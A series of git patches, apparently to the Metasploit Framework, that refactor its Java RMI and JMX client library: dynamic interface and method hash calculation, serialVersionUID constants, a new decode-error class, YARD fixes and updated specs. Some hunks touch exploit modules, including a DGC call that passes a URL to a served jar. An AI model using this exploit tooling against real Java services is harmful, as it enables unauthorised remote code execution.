registry_interface_hash + hash = calculate_interface_hash( + [ + { + name: 'bind', + descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException'] + }, + { + name: 'list', + descriptor: '()[Ljava/lang/String;', + exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] + }, + { + name: 'lookup', + descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;', + exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] + }, + { + name: 'rebind', + descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] + }, + { + name: 'unbind', + descriptor: '(Ljava/lang/String;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] + } + ] + ) + + hash + end end end end diff --git a/lib/msf/java/rmi/client/registry/builder.rb b/lib/msf/java/rmi/client/registry/builder.rb index 338f800ecb..acc9b11113 100644 --- a/lib/msf/java/rmi/client/registry/builder.rb +++ b/lib/msf/java/rmi/client/registry/builder.rb @@ -27,7 +27,7 @@ module Msf uid_time: uid_time, uid_count: uid_count, operation: 2, # java.rmi.Remote lookup(java.lang.String) - hash: 0x44154dc9d4e63bdf, # RegistryImpl_Stub + hash: registry_interface_hash, arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)] ) @@ -52,7 +52,7 @@ module Msf uid_time: uid_time, uid_count: uid_count, operation: 1, # java.lang.String list()[] - hash: 0x44154dc9d4e63bdf, # RegistryImpl_Stub + hash: registry_interface_hash, arguments: [] ) diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb index 8f6515974b..61e70c8238 100644 --- a/lib/msf/java/rmi/util.rb +++ b/lib/msf/java/rmi/util.rb @@ -25,7 +25,7 @@ module Msf # @param exceptions [Array] set of declared exceptions # @return [Fixnum] The interface hash # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated - def calculate_interface_hash(methods, exceptions) + def calculate_interface_hash(methods) stream = '' stream << [1].pack('N') # stub version number @@ -34,7 +34,7 @@ module Msf utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor]) stream << utf_method.encode stream << utf_descriptor.encode - exceptions.each do |e| + m[:exceptions].each do |e| utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e) stream << utf_exception.encode end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 7a70976d6f..f78fd7017b 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -53,10 +53,17 @@ class Metasploit3 < Msf::Auxiliary dgc_interface_hash = calculate_interface_hash( [ - {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V'}, - {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;'} - ], - ['java.rmi.RemoteException'] + { + name: 'clean', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', + exceptions: ['java.rmi.RemoteException'] + }, + { + name: 'dirty', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', + exceptions: ['java.rmi.RemoteException'] + } + ] ) # JDK 1.1 stub protocol diff --git a/spec/lib/msf/java/rmi/client/registry_spec.rb b/spec/lib/msf/java/rmi/client/registry_spec.rb index 4c707b1ee5..ce7496e567 100644 --- a/spec/lib/msf/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/java/rmi/client/registry_spec.rb @@ -227,5 +227,11 @@ describe Msf::Java::Rmi::Client::Registry do end end end + + describe "#registry_interface_hash" do + it "calculates the hash for the java/rmi/registry/RegistryImpl_Stub correctly" do + expect(mod.registry_interface_hash).to eq(4905912898345647071) + end + end end diff --git a/spec/lib/msf/java/rmi/util_spec.rb b/spec/lib/msf/java/rmi/util_spec.rb index 11a15f8c20..b8cc6351fc 100644 --- a/spec/lib/msf/java/rmi/util_spec.rb +++ b/spec/lib/msf/java/rmi/util_spec.rb @@ -12,18 +12,14 @@ describe Msf::Java::Rmi::Util do mod end - let(:interface_methods) do + let(:example_interface) do [ - {name: 'sayHello', descriptor: '()Ljava/lang/String;'}, - {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;'} + {name: 'sayHello', descriptor: '()Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']}, + {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']} ] end - let(:interface_exceptions) do - ['java.rmi.RemoteException'] - end - - let(:interface_hash) do + let(:example_hash) do 0x3e664fcbd9e953bb end @@ -35,17 +31,13 @@ describe Msf::Java::Rmi::Util do 0x53e0822d3e3724df end - let(:dgc_methods) do + let(:dgc_interface) do [ - {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V'}, - {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;'} + {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', exceptions: ['java.rmi.RemoteException']}, + {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', exceptions: ['java.rmi.RemoteException']} ] end - let(:dgc_exceptions) do - ['java.rmi.RemoteException'] - end - let(:dgc_hash) do 0xf6b6898d8bf28643 end @@ -83,13 +75,13 @@ describe Msf::Java::Rmi::Util do describe "#calculate_interface_hash" do context "when an example interface is provided" do it "generates a correct interface hash" do - expect(mod.calculate_interface_hash(interface_methods, interface_exceptions)).to eq(interface_hash) + expect(mod.calculate_interface_hash(example_interface)).to eq(example_hash) end end context "when a DGC interface is provided" do it "generates a correct interface hash" do - expect(mod.calculate_interface_hash(dgc_methods, dgc_exceptions)).to eq(dgc_hash) + expect(mod.calculate_interface_hash(dgc_interface)).to eq(dgc_hash) end end end From f80978d9e93bd27f18929bafa3f710bd2cd04542 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 25 Mar 2015 11:46:54 -0500 Subject: [PATCH 48/58] Calculate interface and method hashes dinamically --- lib/msf/java/rmi/client/jmx/connection/builder.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb index 62baa9cfe1..5f33d04f89 100644 --- a/lib/msf/java/rmi/client/jmx/connection/builder.rb +++ b/lib/msf/java/rmi/client/jmx/connection/builder.rb @@ -24,13 +24,15 @@ module Msf arguments = build_jmx_get_object_instance_args(name) + method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') + call = build_call( object_number: object_number, uid_number: uid_number, uid_time: uid_time, uid_count: uid_count, operation: -1, - hash: 6950095694996159938, # RMIConnectionImpl_Stub.getObjectInstance() + hash: method_hash, arguments: arguments ) @@ -76,6 +78,8 @@ module Msf uid_time = opts[:uid_time] || 0 uid_count = opts[:uid_count] || 0 + method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;') + arguments = build_jmx_create_mbean_args(name) call = build_call( @@ -84,7 +88,7 @@ module Msf uid_time: uid_time, uid_count: uid_count, operation: -1, - hash: 2510753813974665446, + hash: method_hash, arguments: arguments ) @@ -123,6 +127,8 @@ module Msf uid_time = opts[:uid_time] || 0 uid_count = opts[:uid_count] || 0 + method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;') + arguments = build_jmx_invoke_args(opts) call = build_call( @@ -131,7 +137,7 @@ module Msf uid_time: uid_time, uid_count: uid_count, operation: -1, - hash: 1434350937885235744, + hash: method_hash, arguments: arguments ) From f954ff78c0786379533dcc2b1dfecca20d6e4b98 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 1 Apr 2015 10:51:54 -0500 Subject: [PATCH 49/58] Fix typo --- modules/exploits/multi/misc/java_jmx_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 67a9e7ccda..8e4fe6c908 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end - print_status("#{peer} - Discoverig the JMXRMI endpoint...") + print_status("#{peer} - Discovering the JMXRMI endpoint...") mbean_server = discover_endpoint disconnect if mbean_server.nil? From 02a5730d92e413708ea4c01f4ef355a5a60bc830 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 1 Apr 2015 12:09:42 -0500 Subject: [PATCH 50/58] Use calculate_interface_hash --- .../exploits/multi/misc/java_rmi_server.rb | 21 +++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index ec4bc572d7..dd004170ae 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -126,14 +126,31 @@ class Metasploit3 < Msf::Exploit::Remote new_url = get_uri + '/' + jar print_status("#{peer} - Sending RMI Call...") - #send_call(call_data: build_gc_call_data(new_url)) + dgc_interface_hash = calculate_interface_hash( + [ + { + name: 'clean', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', + exceptions: ['java.rmi.RemoteException'] + }, + { + name: 'dirty', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', + exceptions: ['java.rmi.RemoteException'] + } + ] + ) + + # JDK 1.1 stub protocol + # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) send_call( object_number: 2, uid_number: 0, uid_time: 0, uid_count: 0, operation: 0, - hash: 0xf6b6898d8bf28643, #dgc_interface_hash + hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash arguments: build_dgc_clean_args(new_url) ) From 11d372b01573a0d1c6fbfda121b1a3ad4ddb6b78 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 3 Apr 2015 14:01:31 -0500 Subject: [PATCH 51/58] Fix YARD documentation * Thanks @void-in * See #5059 --- lib/msf/java/rmi/client.rb | 3 +-- lib/rex/java/serialization/model/field.rb | 8 ++++---- lib/rex/java/serialization/model/new_array.rb | 3 +-- lib/rex/java/serialization/model/stream.rb | 2 +- 4 files changed, 7 insertions(+), 9 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 97cfed79a9..deedcb4ab3 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -119,8 +119,7 @@ module Msf # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock + # @param nsock [Rex::Socket::Tcp] # @return [String] def safe_get_once(nsock = sock) data = '' diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb index d84ad29a13..768e026115 100644 --- a/lib/rex/java/serialization/model/field.rb +++ b/lib/rex/java/serialization/model/field.rb @@ -11,13 +11,13 @@ module Rex include Rex::Java::Serialization::Model::Contents # @!attribute type - # @return [String] The type of the field. + # @return [String] The type of the field. attr_accessor :type # @!attribute name - # @return [Rex::Java::Serialization::Model::Utf] The name of the field. + # @return [Rex::Java::Serialization::Model::Utf] The name of the field. attr_accessor :name # @!attribute field_type - # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. + # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. attr_accessor :field_type # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to @@ -32,7 +32,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @faise [RuntimeError] if deserialization doesn't succeed + # @false [RuntimeError] if deserialization doesn't succeed def decode(io) code = io.read(1) diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index c2ab0630a8..8f86942f2c 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -190,8 +190,7 @@ module Rex # Serializes an NewArray value # - # @param value [Fixnum] the value to serialize - # @param value [Float] the value to serialize + # @param value [] the value to serialize # @return [String] the serialized value # @raise [RuntimeError] if serialization fails def encode_value(value) diff --git a/lib/rex/java/serialization/model/stream.rb b/lib/rex/java/serialization/model/stream.rb index 36e32e548c..97107e2481 100644 --- a/lib/rex/java/serialization/model/stream.rb +++ b/lib/rex/java/serialization/model/stream.rb @@ -63,7 +63,7 @@ module Rex # Adds an element to the references array # - # @param io [Rex::Java::Serialization::Model::Element] the object to save as reference dst + # @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst def add_reference(ref) self.references.push(ref) end From 75c6341dd8cc117be7586e664bed41cb8827b34b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 3 Apr 2015 14:18:15 -0500 Subject: [PATCH 52/58] Fix raise --- lib/rex/java/serialization/model/field.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb index 768e026115..49d58585cf 100644 --- a/lib/rex/java/serialization/model/field.rb +++ b/lib/rex/java/serialization/model/field.rb @@ -32,7 +32,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @false [RuntimeError] if deserialization doesn't succeed + # @raise [RuntimeError] if deserialization doesn't succeed def decode(io) code = io.read(1) From 72c36eb23e37e68228ed1779e30ace39390562d6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Apr 2015 15:57:42 -0500 Subject: [PATCH 53/58] Use concatenation --- lib/rex/proto/rmi/model/call_data.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/lib/rex/proto/rmi/model/call_data.rb b/lib/rex/proto/rmi/model/call_data.rb index d7201e006c..a6e6aecab4 100644 --- a/lib/rex/proto/rmi/model/call_data.rb +++ b/lib/rex/proto/rmi/model/call_data.rb @@ -33,10 +33,7 @@ module Rex block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_object_number + encode_uid + encode_operation + encode_hash) stream.contents << block_data - - arguments.each do |v| - stream.contents << v - end + stream.contents += arguments stream.encode end From 46a225cbeccd6107fe67269e130168f7afc55b4e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Apr 2015 15:59:42 -0500 Subject: [PATCH 54/58] Don't store Exception in a variable --- lib/msf/java/rmi/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index deedcb4ab3..2792a7eb84 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -110,7 +110,7 @@ module Msf begin return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) - rescue ::RuntimeError => e + rescue ::RuntimeError return nil end From 3570fc586fd35e9e91cd4f961d34bd70617a735d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Apr 2015 16:23:39 -0500 Subject: [PATCH 55/58] Use constants for JMX serial version uids --- lib/msf/java/rmi/client/jmx.rb | 8 +++++++- lib/msf/java/rmi/client/jmx/connection/builder.rb | 13 ++++++------- lib/msf/java/rmi/client/jmx/server/builder.rb | 2 +- lib/rex/java/serialization/model/new_class_desc.rb | 2 +- 4 files changed, 15 insertions(+), 10 deletions(-) diff --git a/lib/msf/java/rmi/client/jmx.rb b/lib/msf/java/rmi/client/jmx.rb index 85acae7404..edd5e7215c 100644 --- a/lib/msf/java/rmi/client/jmx.rb +++ b/lib/msf/java/rmi/client/jmx.rb @@ -4,12 +4,18 @@ module Msf module Java module Rmi module Client - module Registry + module Jmx require 'msf/java/rmi/client/jmx/server' require 'msf/java/rmi/client/jmx/connection' include Msf::Java::Rmi::Client::Jmx::Server include Msf::Java::Rmi::Client::Jmx::Connection + + OBJECT_NAME_UID = 1081892073854801359 + BYTE_ARRAY_UID = -5984413125824719648 + MARSHALLED_OBJECT_UID = 8988374069173025854 + STRING_ARRAY_UID = -5921575005990323385 + OBJECT_ARRAY_UID = -8012369246846506644 end end end diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb index 5f33d04f89..b3c9817e3b 100644 --- a/lib/msf/java/rmi/client/jmx/connection/builder.rb +++ b/lib/msf/java/rmi/client/jmx/connection/builder.rb @@ -7,7 +7,6 @@ module Msf module Jmx module Connection module Builder - # Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() # used to retrieve an MBean instance # @@ -50,7 +49,7 @@ module Msf new_object = builder.new_object( name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID flags: 3 ) @@ -161,20 +160,20 @@ module Msf new_object = builder.new_object( name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID flags: 3 ) data_binary = builder.new_array( name: '[B', - serial: 0xacf317f8060854e0, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID values_type: 'byte', values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*') ) marshall_object = builder.new_object( name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID fields: [ ['int', 'hash'], ['array', 'locBytes', '[B'], @@ -189,7 +188,7 @@ module Msf new_array = builder.new_array( name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID values_type: 'java.lang.String;', values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } ) @@ -218,7 +217,7 @@ module Msf new_array = builder.new_array( name: '[Ljava.lang.Object;', - serial: 0x90ce589f1073296c, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID annotations: [Rex::Java::Serialization::Model::EndBlockData.new], values_type: 'java.lang.Object;', values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } diff --git a/lib/msf/java/rmi/client/jmx/server/builder.rb b/lib/msf/java/rmi/client/jmx/server/builder.rb index 59b5e4e2d1..54b6632f64 100644 --- a/lib/msf/java/rmi/client/jmx/server/builder.rb +++ b/lib/msf/java/rmi/client/jmx/server/builder.rb @@ -54,7 +54,7 @@ module Msf auth_array = builder.new_array( name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID + serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID values_type: 'java.lang.String;', values: [ Rex::Java::Serialization::Model::Utf.new(nil, username), diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index 79106523a0..36101dd683 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -73,7 +73,7 @@ module Rex end encoded = '' encoded << class_name.encode - encoded << [serial_version].pack('Q>') + encoded << [serial_version].pack('q>') encoded << [flags].pack('C') encoded << [fields.length].pack('n') fields.each do |field| From 85a70d401b3b659e02ca517f8ab50c75115316cc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 5 Apr 2015 18:15:04 -0500 Subject: [PATCH 56/58] Introduce Rex::Proto::Rmi::DecodeError --- lib/msf/java/rmi/client.rb | 4 ++-- lib/rex/proto/rmi.rb | 1 + lib/rex/proto/rmi/model/call.rb | 4 ++-- lib/rex/proto/rmi/model/dgc_ack.rb | 4 ++-- lib/rex/proto/rmi/model/element.rb | 20 ++++++++++---------- lib/rex/proto/rmi/model/output_header.rb | 8 ++++---- lib/rex/proto/rmi/model/ping.rb | 4 ++-- lib/rex/proto/rmi/model/ping_ack.rb | 4 ++-- lib/rex/proto/rmi/model/protocol_ack.rb | 4 ++-- lib/rex/proto/rmi/model/return_data.rb | 4 ++-- lib/rex/proto/rmi/model/return_value.rb | 4 ++-- 11 files changed, 31 insertions(+), 30 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 2792a7eb84..0d3b804492 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -89,7 +89,7 @@ module Msf data = safe_get_once(nsock) begin ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) - rescue ::RuntimeError + rescue Rex::Proto::Rmi::DecodeError return nil end @@ -110,7 +110,7 @@ module Msf begin return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) - rescue ::RuntimeError + rescue Rex::Proto::Rmi::DecodeError return nil end diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb index 815a1e8bb3..465faaff11 100644 --- a/lib/rex/proto/rmi.rb +++ b/lib/rex/proto/rmi.rb @@ -4,5 +4,6 @@ # http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html require 'rex/proto/rmi/exception' +require 'rex/proto/rmi/decode_error' require 'rex/proto/rmi/model' diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb index 83aba7202a..f78dd74e8b 100644 --- a/lib/rex/proto/rmi/model/call.rb +++ b/lib/rex/proto/rmi/model/call.rb @@ -20,11 +20,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode the message id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the message id def decode_message_id(io) message_id = read_byte(io) unless message_id == CALL_MESSAGE - raise ::RuntimeError, 'Failed to decode Call message id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Call message id' end message_id diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb index ab1eee9889..1edcb81bfc 100644 --- a/lib/rex/proto/rmi/model/dgc_ack.rb +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -22,11 +22,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == DGC_ACK_MESSAGE - raise ::RuntimeError, 'Failed to decode DgcAck stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode DgcAck stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb index 1d9d202ead..f9dbd3f78a 100644 --- a/lib/rex/proto/rmi/model/element.rb +++ b/lib/rex/proto/rmi/model/element.rb @@ -83,10 +83,10 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the byte can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the byte can't be read from io def read_byte(io) raw = io.read(1) - raise ::RuntimeError, 'Failed to read byte' unless raw + raise Rex::Proto::Rmi::DecodeError, 'Failed to read byte' unless raw raw.unpack('c')[0] end @@ -95,12 +95,12 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the short can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the short can't be read from io def read_short(io) raw = io.read(2) unless raw && raw.length == 2 - raise ::RuntimeError, 'Failed to read short' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read short' end raw.unpack('s>')[0] @@ -110,12 +110,12 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the int can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the int can't be read from io def read_int(io) raw = io.read(4) unless raw && raw.length == 4 - raise ::RuntimeError, 'Failed to read int' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read int' end raw.unpack('l>')[0] @@ -125,12 +125,12 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the long can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the long can't be read from io def read_long(io) raw = io.read(8) unless raw && raw.length == 8 - raise ::RuntimeError, 'Failed to read long' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read long' end raw.unpack('q>')[0] @@ -141,12 +141,12 @@ module Rex # @param io [IO] the IO to read from # @param length [Fixnum] the string length # @return [String] - # @raise [RuntimeError] if the string can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the string can't be read from io def read_string(io, length) raw = io.read(length) unless raw && raw.length == length - raise ::RuntimeError, 'Failed to read string' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read string' end raw diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb index dae28e89b6..4e430ec977 100644 --- a/lib/rex/proto/rmi/model/output_header.rb +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -23,11 +23,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode signature + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode signature def decode_signature(io) signature = read_string(io, 4) unless signature == SIGNATURE - raise ::RuntimeError, 'Failed to decode OutputHeader signature' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader signature' end signature @@ -47,13 +47,13 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if fails to decode the protocol + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the protocol def decode_protocol(io) valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] protocol = read_byte(io) unless valid_protocols.include?(protocol) - raise ::RuntimeError, 'Failed to decode OutputHeader protocol' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader protocol' end protocol diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb index c0406b3ae2..860cc99748 100644 --- a/lib/rex/proto/rmi/model/ping.rb +++ b/lib/rex/proto/rmi/model/ping.rb @@ -18,11 +18,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == PING_MESSAGE - raise ::RuntimeError, 'Failed to decode Ping stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Ping stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb index db0131b42a..5beb3c1215 100644 --- a/lib/rex/proto/rmi/model/ping_ack.rb +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -18,11 +18,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == PING_ACK - raise ::RuntimeError, 'Failed to decode PingAck stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode PingAck stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb index 52a48506be..888da6c4c0 100644 --- a/lib/rex/proto/rmi/model/protocol_ack.rb +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -26,11 +26,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == PROTOCOL_ACK - raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ProtocolAck stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb index e43c2c8c55..8ac40c3290 100644 --- a/lib/rex/proto/rmi/model/return_data.rb +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -20,11 +20,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode the stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == RETURN_DATA - raise ::RuntimeError, 